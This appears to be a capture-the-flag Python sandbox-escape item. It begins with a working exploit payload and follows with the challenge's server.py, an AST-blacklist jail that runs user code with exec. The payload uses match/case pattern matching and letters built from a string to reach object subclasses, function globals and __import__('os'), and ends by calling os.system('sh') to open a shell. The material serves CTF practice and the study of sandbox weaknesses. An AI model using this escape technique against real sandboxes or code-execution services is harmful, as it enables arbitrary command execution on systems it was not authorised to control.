case [_,t,r,_,o,b,_,_,c,_,_,_,_,_,_,_,_,space,s,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_l,_,u,f,_,_,_,_,_,_,_,n,_,_,d,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,a,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,m,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,p,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,x,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,h,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,l,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,i,_,g,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,dot]:
pass
match ():
case object(__class__=cla):
match cla:
case object(__base__=bas):
pass
match bas:
case object(__subclasses__=subs):
pass
match subs():
case object(pop=po):
match po(-((((()==())+(()==()))**((()==())+(()==())))+(((()==())+(()==()))**(((()==())+(()==()))*((()==())+(()==())+(()==())))))):
case object(__init__=ini):
pass
match ini:
case object(__globals__=glo):
match glo:
case object(get=gt):
match gt(_l+_l+b+u+i+l+t+i+n+s+_l+_l):
case object(get=imp):
pass
match imp(_l+_l+i+m+p+o+r+t+_l+_l)(o+s):
case cc:
match cc:
case object(system=sy):
sy(s+h)
- server.py
import ast
WELCOME = """
_____ _ _ _ _ _____ _ _ _____ _______ _ _ _ _
| __ \ (_) (_) | | | |_ _| | ( ) /\ / ____|__ __| | | | | |
| |__) | _ _ __ _ _| | | | | | | |_|/ ___ _ __ ___ _ _ / \ | (___ | | | | | | |
| ___/ | | || |/ _` | | | | | | | | __| / __| | '_ ` _ \| | | | / /\ \ \___ \ | | | | | | |
| | | |_| || | (_| | | | |_| _| |_| |_ \__ \ | | | | | | |_| |/ ____ \ ____) | | | |_|_|_|_|
|_| \__, || |\__,_|_|_| (_) |_____|\__| |___/ |_| |_| |_|\__, /_/ \_\_____/ |_| (_|_|_|_)
__/ |/ | __/ |
|___/__/ |___/
"""
HELP = "| Options: \n|\t[G]et Challenge Source Code \n|\t[E]nter into Challenge \n|\t[Q]uit \n\t"
SOURCE_CDDE = r"""import ast
BAD_ATS = {
ast.Attribute,
ast.Subscript,
ast.comprehension,
ast.Delete,
ast.Try,
ast.For,
ast.ExceptHandler,
ast.With,
ast.Import,
ast.ImportFrom,
ast.Assign,
ast.AnnAssign,
ast.Constant,
ast.ClassDef,
ast.AsyncFunctionDef,
}
BUILTINS = {
"bool": bool,
"set": set,
"tuple": tuple,
"round": round,
"map": map,
"len": len,
"bytes": bytes,
"dict": dict,
"str": str,
"all": all,
"range": range,
"enumerate": enumerate,
"int": int,
"zip": zip,
"filter": filter,
"list": list,
"max": max,
"float": float,
"divmod": divmod,
"unicode": str,
"min": min,
"range": range,
"sum": sum,
"abs": abs,
"sorted": sorted,
"repr": repr,
"object": object,
"isinstance": isinstance
}
def is_safe(code):
if type(code) is str and "__" in code:
return False
for x in ast.walk(compile(code, "<QWB7th>", "exec", flags=ast.PyCF_ONLY_AST)):
if type(x) in BAD_ATS:
return False
return True
if __name__ == "__main__":
user_input = ""
while True:
line = input()
if line == "":
break
user_input += line
user_input += "\n"
if is_safe(user_input) and len(user_input) < 1800:
exec(user_input, {"__builtins__": BUILTINS}, {})
"""
print(WELCOME)
print(HELP)
print("Python Version:python3.11")
while(1):
choice = input(">>> ").lower().strip()
match choice:
case "g":
print(SOURCE_CDDE)
case "e":
print("pls input your code to escape > ")
BAD_ATS = {
ast.Attribute,
ast.Subscript,
ast.comprehension,
ast.Delete,
ast.Try,
ast.For,
ast.ExceptHandler,
ast.With,
ast.Import,
ast.ImportFrom,
ast.Assign,
ast.AnnAssign,
ast.Constant,
ast.ClassDef,
ast.AsyncFunctionDef,
}
BUILTINS = {
"bool": bool,
"set": set,
"tuple": tuple,
"round": round,
"map": map,
"len": len,
"bytes": bytes,
"dict": dict,
"str": str,
"all": all,
"enumerate": enumerate,
"int": int,
"zip": zip,
"filter": filter,
"list": list,
"max": max,
"float": float,
"divmod": divmod,
"unicode": str,
"min": min,
"range": range,
"sum": sum,
"abs": abs,
"sorted": sorted,
"repr": repr,
"object": object,
"isinstance": isinstance
}
def is_safe(code):
if type(code) is str and "__" in code:
return False
for x in ast.walk(compile(code, "<QWB7th>", "exec", flags=ast.PyCF_ONLY_AST)):
if type(x) in BAD_ATS:
return False
return True
user_input = ""
while True:
line = input()
if line == "":
break
user_input += line
user_input += "\n"
if is_safe(user_input) and len(user_input) < 1800:
exec(user_input, {"__builtins__": BUILTINS}, {})
case "q":
print("bye~~~")
quit()
case "h" | "help":
print(HELP)
case _:
print("You should select valid choice!")